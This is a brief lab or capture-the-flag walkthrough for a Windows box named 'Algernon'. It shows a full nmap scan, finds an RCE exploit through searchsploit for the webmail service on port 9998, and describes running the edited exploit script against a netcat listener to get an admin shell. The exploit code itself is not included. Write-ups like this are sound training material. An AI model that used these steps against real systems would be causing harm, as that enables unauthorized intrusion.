Algernon

Nmap Scan

```
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-27 19:02 CDT
Nmap scan report for 192.168.113.65
Host is up (0.069s latency).
Not shown: 65528 filtered ports
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
9998/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /interface/root
| uptime-agent-info: HTTP/1.1 400 Bad Request\x0D
| Content-Type: text/html; charset=us-ascii\x0D
| Server: Microsoft-HTTPAPI/2.0\x0D
| Date: Fri, 28 May 2021 00:05:02 GMT\x0D
| Connection: close\x0D
| Content-Length: 326\x0D
| \x0D
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">\x0D
| <HTML><HEAD><TITLE>Bad Request</TITLE>\x0D
| <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>\x0D
| <BODY><h2>Bad Request - Invalid Verb</h2>\x0D
| <hr><p>HTTP Error 400. The request verb is invalid.</p>\x0D
|_</BODY></HTML>\x0D
17001/tcp open  remoting      MS .NET Remoting services
```

```
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 5s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-05-28T00:05:04
|_  start_date: N/A

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.30 seconds
```

Enumerating the Web page on port 9998 shows a webmailer.

Searchsploit shows some possible results...

We can see "Build 6985 RCE"

If we curl the site it will show the build verison verify vulnerablity.

```
curl -L http://192.168.222.65:9998
```

Lets download and modify the exploit

(Note) The exploit may contain "\u200b" on blank spaces which will cause and error upon execution. Just back space and re-add a space to remove the "\u200b".

Now start a netcat listener on "17001". (Note) the listener on LPORT will not work.

```
python3 49216.py
```

We already get an admin shell